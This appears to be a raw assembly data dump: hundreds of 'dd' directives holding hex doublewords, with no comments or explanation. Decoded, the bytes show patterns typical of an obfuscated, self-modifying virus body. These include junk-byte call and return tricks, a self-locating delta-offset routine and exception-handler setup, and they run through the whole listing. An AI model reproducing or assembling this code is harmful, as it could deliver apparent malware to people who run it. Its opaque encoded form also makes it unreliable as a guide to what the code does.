		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 24C35343h, 0D6DF8177h
		dd 611C96A9h, 3EE2BF66h, 305585C7h, 30613h, 89500000h
		dd 130D7195h, 0BD835B06h, 616C454h, 48840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 4307C352h, 0AAA102B9h, 3DE9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 7DBF8A2Ch, 5019589Fh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0DE8C08Bh, 3C000000h, 0C35B62Bh
		dd 7F3D16A5h, 0E93F6596h, 315BF88Bh, 1307F585h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0CE94Ah, 5F020000h, 84BD3BD0h, 2D028DD2h, 0BD83038Dh
		dd 6133055h, 0AB850F03h, 6A000004h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0F8EAC353h
		dd 6651A88Ch, 0CDA7F381h, 0C454BD83h, 0F000616h, 47984h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 13C19111h, 9EF7D39Ch, 0B5FF22A2h, 616C454h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CDC35242h
		dd 0EB67B7C1h, 96995FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F61B7C3h, 0B58BDEB7h
		dd 616C448h, 6C7D98Bh, 10001h, 2161BD8Bh, 0E9960613h, 14h
		dd 71FDA791h, 57CF8BA0h, 480798B8h, 51B5CB7Fh, 83D7E214h
		dd 0A54BF50h, 6A96308Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0E8B1C355h,	44313174h
		dd 8B370CBFh, 130CF99Dh, 54B5FF06h, 8B0616C4h, 1320799Dh
		dd 2995FF06h, 8B061332h, 13109DBDh, 58D0F06h, 66000000h
		dd 33EAE781h, 0C448B58Bh, 0D6BB0616h, 8B2EDC34h, 13063185h
		dd 0C4868906h, 2B000000h, 130159BDh, 0BD958B06h, 6A06131Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 55B2C350h, 0C6CF801Dh, 6A04C283h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 63A9C352h, 8B191B87h, 205089F9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 48C35646h, 0FB5C15Bh, 8D5BEF0Bh
		dd 16D8E385h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0CB84546Ah, 25D687F8h, 8689EBD6h
		dd 0B8h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0D1C35646h, 0F1B1B52Bh,	9D03749Eh, 6130A7Dh, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0B935A5C3h, 4180ACFCh, 81DDF4A3h, 40EB8DD7h,	0ED95311Ah
		dd 0FF061314h, 16C454B5h, 0D7816606h, 95FF23ABh, 6131E95h
		dd 0A800Fh, 60600000h, 19B52961h, 6106131Ah, 34BB6696h
		dd 10E95098h, 0E8000000h, 0AFB3802Eh, 7247A3DAh, 9B990663h
		dd 9698EB69h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	0E7C35747h, 0E9A8BC46h,	12h, 0EFCB69BBh, 0C0CC179Bh
		dd 51780708h, 70D90241h, 0B5FFBA7Eh, 616C454h, 11B1BD8Bh
		dd 95FF0613h, 6132145h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 84C35242h, 63C6E795h,	0EF81C3FAh, 43B7A6CDh
		dd 1495BD83h, 0F000613h, 6184h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0E953F505h
		dd 0E896878Dh, 6, 0A8DA9290h, 0BE938FFh, 0A6000000h, 0FE3D8F60h
		dd 0F1214DB3h, 505F676Eh, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 4BDBBD1h, 0B5FFF520h
		dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	6EC35747h, 0BBA3A12Dh, 5A0FE2CCh, 9629CF81h, 806021F2h
		dd 0C980BDF5h, 95FF61C7h, 61305ADh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 48C35343h, 7172BD31h, 0F4579B2Fh
		dd 0D38166B1h, 0B5FF026Ch, 616C454h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 30C35343h, 6FD3D4FDh, 0D9BD8B62h
		dd 89061330h, 132071BDh, 995FF06h, 0F061312h, 68Fh, 0B1BD8900h
		dd 83061314h, 130511BDh, 840F0206h, 83h, 0EE9h,	8E3E8400h
		dd 4EDC27E1h, 7CA5B258h, 8B055E29h, 130F5585h, 10E906h
		dd 70230000h, 38E267D8h, 62E760Bh, 35AD707Eh, 0C60031h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 545175CAh, 0D47DBAC5h, 6E85E53h,	4A000000h
		dd 3F815DBDh, 5783BF95h, 0E95F572Eh, 13h, 0DAAFB380h, 637247A3h
		dd 699B9906h, 0AA0098EBh, 66ABABE1h, 0C76A56BFh, 131E5185h
		dd 6, 38A0F00h,	0F000000h, 52E9FABFh, 66FFFFF3h, 18CBEF81h
		dd 9D8BC18Bh, 6132105h,	10E8h, 7028C700h, 3E0C9897h, 0C0CA44C6h
		dd 14FE6426h, 718D89D1h, 5F061328h, 1EA9858Dh, 8B0F0613h
		dd 5, 0D0D78052h, 890F905Bh, 2,	5050DA8Bh, 9E9h, 7216D000h
		dd 538E009Ch, 905B64B8h, 68F0Fh, 0B5890000h, 6131EC1h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 94C375C3h, 9B098E16h, 8D8983F9h, 613284Dh
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 8C243C3h,	0BD8949B9h, 6131CF5h, 2166858Dh
		dd 83F90618h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 29FF1FC3h, 0DE8B664Fh, 1A99BD23h
		dd 8B900613h, 6A9050D9h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C80BC357h,	0EF8166D2h
		dd 6A7258h, 0AE8h, 0EAF50200h, 0DC89777Bh, 80B30308h, 8B5BF5E3h
		dd 6A006AF9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 5B89C355h, 0B98F1C90h,	0FF9682F6h
		dd 1307F195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0A5D607C6h, 82013818h, 85293DE7h
		dd 6132411h, 0A36A8D8Dh, 7E90616h, 6C000000h, 1971F497h
		dd 0D1FF5572h, 336ECF80h, 13325D9Dh, 3DBD8306h,	1061317h
		dd 42850Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 170424h, 57470000h, 80FACEC3h, 0DF8B668Fh, 8B66026Ah
		dd 0DC8A50D9h, 0B7240489h, 5E960h, 12020000h, 0FF56A975h
		dd 131E9595h, 0DAB70F06h, 0D7DE9h, 0E800h, 815D0000h, 182170EDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8AA440FAh, 5E858DD8h, 6A06168Fh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0CF9DC351h, 9614BB66h, 0C913BF66h, 0F525050h, 28Eh
		dd 0FD88B00h, 5ADA8B31h, 24048958h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0A7C35545h,	0F6D2AF9Bh, 80F986F5h
		dd 66FD8A54h, 6401B7BBh, 35FFh,	64F90000h, 2589h, 0BD230000h
		dd 6130965h, 16D985FFh,	6A0613h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0DA8B5AC3h, 0BD8BFF6Ah
		dd 6132FADh, 2309B5FFh,	8B660613h, 0AD95FFFEh, 0E9061331h
		dd 118h, 8E0Fh,	0B00000h, 2BF98D09h, 70E60613h,	0F71E4F8h
		dd 1183h, 0CE900h, 652E0000h, 0C29642C7h, 0FD72F1DDh, 613C5B6Eh
		dd 0E6830Fh, 0FF80000h,	0D88AC8B6h, 6BAh, 6810F00h, 3000000h
		dd 1316FD9Dh, 0CE906h, 16650000h, 63DCAAFDh, 0F85F9AC8h
		dd 0C18BB0ABh, 142ACB81h, 0E8C13FC5h, 443CBF04h, 0F7661D82h
		dd 9E8E2h, 15790000h, 738D9D69h, 29C3D42Dh, 1334A58Dh
		dd 0C82B5F06h, 0A26016BFh, 50D18B7Bh, 94FBB66h,	0D98B665Fh
		dd 7FE9h, 0FFBF0F00h, 4C4C858Bh, 0BF66505Fh, 0C083B4C0h
		dd 0C08307h, 0B589FE8Bh, 61319D1h, 830FD03Bh, 1Bh, 56E9F9h
		dd 10E90000h, 95000000h, 8B892C74h, 82D91466h, 7092364Fh
		dd 8B167531h, 0FFFFFF8Dh, 0FD8D89FFh, 8306131Eh, 840F01E1h
		dd 2Ch,	0BF8AF380h, 78EEEA2Eh, 0FFFFA583h, 29FEFFFFh, 1321F585h
		dd 4C958906h, 0F505F4Ch, 68Fh, 0E1958900h, 0E9061334h
		dd 0
		dd 0A159B58Dh, 12E90617h, 0B4000000h, 0EB92731Ch, 0C0AC3C6Bh
		dd 0FDDE7328h, 0A7A57FA2h, 159D8931h, 6A06130Bh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0BD48D5FCh, 0D59D8BC3h, 0FF06131Bh, 130DA995h, 0D9D0906h
		dd 0B9061315h, 10CAh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 19h, 81C35343h, 0C691BC85h, 8B6656E5h, 0E1835FDEh
		dd 0BEBB66FCh, 0B589FC3Eh, 6133239h, 0B8h, 9B58900h, 2B06131Fh
		dd 0C7BFBBD2h, 33AD3CA3h, 3E8D1C2h, 4E983D0h, 6AF475h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FE3DEC3h, 683h, 0CD9D8B00h,	29061310h, 13015D9Dh, 880D06h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0F99717C3h, 0BD8B26C7h, 6130061h,	1AA19D8Bh
		dd 958B0613h, 6131BBDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0D0C35545h, 2B60A2E4h, 81757AAAh, 8644EF81h
		dd 8D8B7044h, 61318DDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 71C35141h, 8BA11C22h,	130B699Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 131935BDh
		dd 0F59D8B06h, 8306131Dh, 131D1DBDh, 840F0006h,	0A6h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 35C35545h, 4E80B363h
		dd 1738DEF4h, 0DE943h, 5AE40000h, 9DA4E21Bh, 501CE31Ah
		dd 0B8EAAD8Fh, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 12C35141h
		dd 2E50D514h, 496010F8h, 0F59D23CEh, 29061300h,	131B45BDh
		dd 8D8D8D06h, 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 20C5C353h, 43C04Dh
		dd 0F903496Fh, 0BD8BE1FFh, 6130785h, 1639B531h,	0BD830613h
		dd 6133055h, 9E840F00h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CAF3C356h
		dd 89E344A5h, 1322998Dh, 0BD83F506h, 6133055h, 85840F01h
		dd 0F000004h, 0BD83FABFh, 6133055h, 3F860F03h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0DA19C355h, 5F59D8Bh, 9D890613h, 61334ADh
		dd 51006A60h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 57FA8F07h, 8C66763Dh, 55006AD9h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 279E621Ah
		dd 808CA4B3h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 33D997C3h, 6BDA6740h, 0FC90AADh
		dd 11384h, 7D9D8B00h, 3061323h,	1309619Dh, 0B9858B06h
		dd 5206132Bh, 1F5B589h,	335F0613h, 1305B985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 50D749EBh, 10E853h, 8DD50000h, 0F37889BBh, 2C9F7F7Ch
		dd 0DFFC920Ah, 61602BF8h, 4895F5Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 7826FCABh
		dd 6A006A66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0A042C356h, 96C3AF32h,	68FFB70Fh
		dd 1332C134h, 3481DD8Ah, 2DC2CB24h, 50006A13h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0EBC1B9D0h
		dd 0A3D95FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 5FE20CC3h, 9D8BC470h, 61318E1h
		dd 0C4548589h, 0E9FC0616h, 219h, 0FDE8B66h, 386h, 0F9B70F00h
		dd 0C44C858Bh, 6A0616h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 667947C3h, 9D8BE8FAh, 6132FE1h
		dd 1800C7h, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 190424h, 52420000h, 335ACCC3h, 0BF59251Bh, 45D19E4Ah
		dd 0C450B58Bh, 89600616h, 1305A5B5h, 0BD8B6006h, 6130085h
		dd 30B19D09h, 61610613h, 2A55858Bh, 6A0613h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 689F4C3h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h
		dd 859531BEh, 0E906130Eh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h
		dd 7F973D3Eh, 0B9858B40h, 8906132Bh, 131BFDBDh,	4468906h
		dd 50F98B66h, 0EE8h, 2952F600h,	0D4087744h, 0CBAD56BCh
		dd 0F79B583h, 0E86h, 8E800h, 814D0000h,	7CAB548Fh, 5F5FA1F7h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 548AC357h, 5C936E4h, 34BA6660h
		dd 6860FBAh, 89000000h,	132B2595h, 0B5FF6106h, 616C44Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6DC35040h
		dd 0D489FFBFh, 684618Fh, 198D8964h, 0E8061312h,	4, 1F03FFh
		dd 0EE9h, 0D9D5CF00h, 3E9B78E1h, 39E81CDBh, 50AF9AB8h
		dd 424448Bh, 880F008Bh,	5, 796F7BBBh, 24448964h, 50606004h
		dd 55EFBA58h, 61617161h, 8DBD8B58h, 8D061300h, 16C45485h
		dd 5BBB6606h, 0E9606035h, 14h, 0B682D6AAh, 0BEEFC83Eh
		dd 0BB80016h, 9C43FCF6h, 0E8533EE3h, 228D9D89h,	61610613h
		dd 50FB8B90h, 359D8990h, 0FF061324h, 130A3D95h,	0DE906h
		dd 0CCA0000h, 0FB044ED0h, 0EE84894Fh, 81C64472h, 325313CBh
		dd 6A6160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0E70F41C3h, 0F486C660h, 85C72E16h, 6133055h
		dd 3, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h, 1Ch
		dd 0D8C35242h, 0AE49008Dh, 103B8546h, 9BD9D8Bh,	0BD830613h
		dd 616C454h, 1B840F00h,	0E9000000h, 0Bh, 88467B3Bh, 7B4077ECh
		dd 0E9A7FDD5h, 21h, 34859589h, 30500613h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 7DACA70Ah
		dd 0FF15BF66h, 3055BD83h, 0F030613h, 3D585h, 2DBD8B00h
		dd 8306131Fh, 16C454BDh, 840F0006h, 3C2h, 0FF54CF80h, 16C454B5h
		dd 95FFFC06h, 6130969h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 91C35343h, 48B58B71h,	6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 320EC351h, 0B8B8F71Dh, 0BE668513h, 106C7h, 6A0001h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0EFD7BEC3h, 0A43D4D77h, 11E896h, 4E00000h, 0A17BAC25h
		dd 5E748FA1h, 69C1C76Ah, 66929381h, 505BFB8Bh, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 414031Bh, 39386059h,	88D3E781h, 0B5FF41F2h, 616C454h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5FC35343h
		dd 446C39F4h, 322995FFh, 0CEB70613h, 0C448B58Bh, 0EE90616h
		dd 0E0000000h, 0B185F4CBh, 0E23BFFA1h, 8E5A4984h, 31858B85h
		dd 6A061306h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8B25C353h, 13152DBDh, 68E38106h
		dd 890D9B43h, 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 25D44F10h, 0BD0B463Ch
		dd 6131985h, 9C9BD8Bh, 0F7810613h, 2CAC4D4Ah, 1BBD958Bh
		dd 0BD890613h, 6132F7Dh, 17699D29h, 0C2830613h,	55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 56E5F46Bh, 80205089h, 858DFAEFh, 616D8E3h, 8B0Fh, 86890000h
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	5C35242h, 0AA157076h, 0DD8AEA24h, 0F380006Ah, 54B5FF58h
		dd 0F0616C4h, 68Bh, 919D8B00h, 0FF061301h, 131E9595h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 5A880FDh, 0D4DEF8FCh, 7E8963Ah, 0D3000000h, 730D342Dh
		dd 0C7B306ADh, 0BF66505Bh, 6A960E84h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5E26C352h
		dd 0E598B664h, 0E8B4D0B2h, 6, 0C6E3A4E8h, 9D8BF957h, 6133069h
		dd 54B5FF5Bh, 890616C4h, 1328E9BDh, 4595FF06h, 6A061321h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C449C352h, 0B8553F41h, 27BB6606h, 95BD83F5h
		dd 61314h, 45840Fh, 9E90000h, 0A000000h, 0CE16D42Ah, 99729561h
		dd 12EB8166h, 8C0F9636h, 5, 18DC2ABBh, 0F98A5065h, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 81661A38h, 0FF8C72EBh, 16C454B5h, 0B99D8B06h, 8B061310h
		dd 1313C9BDh, 0AD95FF06h, 81061305h, 0FE4125D3h, 54B5FF0Bh
		dd 0E90616C4h, 11h, 0BF49A384h,	671DA23Bh, 7695F91h, 0B32DA003h
		dd 0D9BD292Ah, 0FF061305h, 13120995h, 0DB50106h, 8006130Dh
		dd 0BD839ADFh, 6130511h, 5B840F02h, 89000000h, 1307058Dh
		dd 55858B06h, 6A06130Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0A332C357h,	88EC8B5Fh
		dd 0C6B68142h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0DB99C6C3h, 0FCD00F1h, 0BF0FFEB7h
		dd 85C7F5FBh, 6131E51h,	0
		dd 14EDBD8Bh, 0A5E90613h, 6AFFFFF3h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EFDDC356h
		dd 2FC9D0BDh, 565F5423h, 5FF8515Fh, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 73029C3h
		dd 8B563910h, 132FE9BDh, 858D5B06h, 6131EA9h, 7E9h, 0EB4EC100h
		dd 4C23A7A7h, 90F8B70Fh, 0F525050h, 5ADE8A31h, 6A9058h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 68C35343h
		dd 0F5958B60h, 61061313h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0ACC81C3h, 7E9h, 0DC5C6700h
		dd 0A8FE906Dh, 30F5858Dh, 6A0618h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 83B43CC3h, 6A05C0h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0F6074C3h, 58Ah, 0D7816600h,	0CE88A9Ah, 59000000h, 514DE381h
		dd 0B1F030DCh, 8924DB26h, 1300A19Dh, 90615B06h,	9E9h, 95A41A00h
		dd 91402D87h, 0E850D782h, 0Ah, 4EBBAC65h, 0B934B9BDh, 66B736DDh
		dd 0FC60905Fh, 2349BD29h, 6A610613h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 368ECD97h
		dd 19FFCFC3h, 8D896500h, 61306F9h, 0FC8A006Ah, 7F195FFh
		dd 95890613h, 6132849h,	0A36A8D8Dh, 6A0616h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 652D2AC3h
		dd 7ABB0804h, 0FF37B73Ch, 0D18D89D1h, 83061322h, 13173DBDh
		dd 850F0106h, 8Bh, 0B1DB509h, 26A0613h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 0EC35242h, 13164EFh
		dd 34C0C879h, 4985BB90h, 0F502ED6h, 1A84h, 10E800h, 5F670000h
		dd 0C83F7E6Fh, 0AF300156h, 8B6B78D1h, 0BF6666A8h, 905B7420h
		dd 95FFFA8Ah, 6131E95h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 44C35242h, 4D8FF04Eh,	93C61745h, 6E9h
		dd 0F9119B00h, 0E9812969h, 0E2Fh, 0E8h,	0ED815D00h, 61830FFh
		dd 0BEE216BFh, 8B606023h, 130D8585h, 2A18BA06h,	0F961572Dh
		dd 5E858D61h, 6A06168Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 6579C352h, 9215E8E8h
		dd 12BF66ADh, 57DB805Ah, 0CE95090h, 0B000000h, 0EA722CE7h
		dd 8B4FAD12h, 90EDD77Ch, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 17h, 98C35141h, 0FF84F84h,	68Ch, 0F5B58900h
		dd 8B061313h, 35FF64DEh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 49C35545h
		dd 814CB8EBh, 0EA5D2FD7h, 5E913h, 5EDB0000h, 0F877E07h
		dd 284h, 645F5700h, 2589h, 9D8B0000h, 6132821h,	16D985FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 6A1E0DC3h, 519D8907h, 6A06130Dh, 0CE960FFh
		dd 0CB000000h, 75ADB00Dh, 40C57A9Ah, 891051B9h,	132F8D95h
		dd 0B5FF6106h, 6132331h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0E3C35040h, 0BE84E2Ch, 95FF9846h, 61331ADh
		dd 16CE9h, 799D8B00h, 0B0061324h, 15C38100h, 0E66F1432h
		dd 80516070h, 0E85E44C4h, 0Fh, 0FD84D6D4h, 4D6D13C0h, 4DA7212Bh
		dd 0F894D76Dh, 71E4615Ah, 48B0Fh, 0BF660000h, 613C8331h
		dd 12B830Fh, 0B60F0000h, 5E8C8h, 70D0000h, 56579227h, 1B018D89h
		dd 5F5B0613h, 14E8h, 0FA4AFC00h, 88FFB8C4h, 127CD8FFh
		dd 5A203C3Fh, 0C7E6A2Fh, 68E0FA4h, 89000000h, 13299D8Dh
		dd 6BA5F06h, 0E9000000h, 11h, 59FCF4F4h, 0F8769D68h, 1150FE88h
		dd 548BE7C0h, 0FC18B87h, 0AE9DAB7h, 0EC000000h,	4FE57FE2h
		dd 0ED646B53h, 4E8C139h, 0FE2F766h, 685h, 0F1958900h, 2B061315h
		dd 0CE8C8h, 41260000h, 46ABB689h, 5D582F38h, 0BD8BAF4Eh
		dd 6133135h, 89D18B5Fh,	131AF9BDh, 87E906h, 9600000h, 130D61BDh
		dd 0C7BF0F06h, 4C858B61h, 89494755h, 132B6985h,	9BD8906h
		dd 83061328h, 0C08307C0h, 0E5BB6600h, 0FD03BE5h, 2783h
		dd 12E96000h, 0
		dd 0BBE30789h, 12FB4977h, 7C46A794h, 51E21640h,	0C38B662Bh
		dd 37E961h, 0BD8B0000h,	6131619h, 0FFFF8D8Bh, 0E183FFFFh
		dd 22840F01h, 83000000h, 0FFFFFFA5h, 0F51FEFFh,	382h, 0F8BF0F00h
		dd 4C95895Bh, 53494755h, 5BFE8B66h, 0E9h, 23B58D00h, 6A0617B2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0F213C350h, 97F6F4A6h, 0AFA6E781h, 6A512Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4BC35545h
		dd 95FF0329h, 6130DA9h,	0D0B95F57h, 6A00000Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0DA3CC355h, 85D9F132h, 9D8BDA84h, 6130F21h, 6AFCE183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0D03CC353h, 2E24EE5Eh, 11E89584h,	4000000h
		dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 0A719AC63h, 32119D03h
		dd 0FC5F0613h, 23359D8Bh, 0B80613h, 81000000h, 0FF6DAEE7h
		dd 0C9950920h, 2B061300h, 819D8BD2h, 0AD061310h, 0E8D1C233h
		dd 0E983D003h, 89F47504h, 131D859Dh, 0A850F06h,	60000000h
		dd 4046BA66h, 4E52BA66h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 4777191Ch, 9367AF16h
		dd 659D33F8h, 0D061325h, 88h, 10E8h, 0C188900h,	958815BEh
		dd 0D7BDF4C3h, 0C4F2D964h, 0DA8B6670h, 0BD958B5Bh, 8906131Bh
		dd 131B4585h, 0DD8D8B06h, 6A061318h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9771C351h
		dd 0E95D563h, 66408D98h, 387CC781h, 0C28B50F5h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6698EF81h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h, 7E045FCh
		dd 0BD83BDC0h, 6131D1Dh, 66840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 25E2C353h, 0E81835FAh, 721ABF25h, 0BB660D3Dh, 0B8825Ch
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 43FCC351h, 533EE39Ch, 8130D6E8h
		dd 0E0EEDFC3h, 8D8D8D06h, 0FF06134Fh, 2BBB66E1h, 55BD8341h
